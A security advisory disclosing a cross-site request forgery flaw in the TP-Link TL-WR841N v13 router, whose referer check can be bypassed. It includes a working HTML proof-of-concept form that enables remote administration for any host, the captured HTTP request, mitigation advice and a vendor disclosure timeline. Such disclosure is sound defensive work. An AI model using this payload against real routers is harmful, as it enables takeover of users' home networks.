- Vulnerability: Cross-Site Request Forgery
- Affected Software: TP-Link TL-WR841N v13
- Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
- Patched Version: None
- Risk: High
- Vendor Contacted: 05/20/2018
- Vendor Fix: None
- Public Disclosure: 06/27/2018
The web interface of the router is vulnerable to CSRF. An attacker can perform arbitrary actions in the name of an authenticated user if that user visits an attacker-controlled website.
High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
The protection mechanism that is in place against CSRF checks if the given “referer” header starts with “192.168.0.1”. If it does, the request is accepted.
Proof of Concept
Enable remote access:
<html> <body> <form action="http://192.168.0.1/cgi?2&2" method="POST" enctype="text/plain"> <input type="hidden" name="[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2 httpRemoteEnabled" value="1 httpRemotePort=7777 [APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1 remoteHost=255.255.255.255 " /> <input type="submit" value="Submit request" /> </form> </body> </html>
The code would be hosted at a subdomain which starts with “192.168.0.1”, eg “192.168.0.1.example.com”.
POST /cgi?2&2 HTTP/1.1 Host: 192.168.0.1 User-Agent: [...] Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.1.example.com/csrf.html Content-Type: text/plain Content-Length: 147 Cookie: Authorization=Basic [...] DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 [HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2 httpRemoteEnabled=1 httpRemotePort=7777 [APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1 remoteHost=255.255.255.255 HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 8 [error]0
The vendor did not fix the issue.
Users of the product can try to mitigate the issue by not visiting other websites while being signed into the web interface and signing out as soon as possible. Additionally, various browser plugins can be used to try to defend against attacks.
- 05/20/2018 Requested email address via contact form (no response)
- 05/24/2018 Send advisory to email@example.com asking for confirmation, set disclosure date (no response)
- 06/01/2018 Asked for confirmation at firstname.lastname@example.org
- 06/04/2018 Vendor confirmed receipt of advisory
- 06/12/2018 Requested Status Update
- 06/14/2018 Vendor claims they never received advisory
- 06/14/2018 Resend advisory asking for confirmation (no response)
- 06/18/2018 Reminded vendor of disclosure date (no response)
- 06/18/2018 Requested CVE
- 06/19/2018 CVE assigned
- 06/27/2018 Disclosure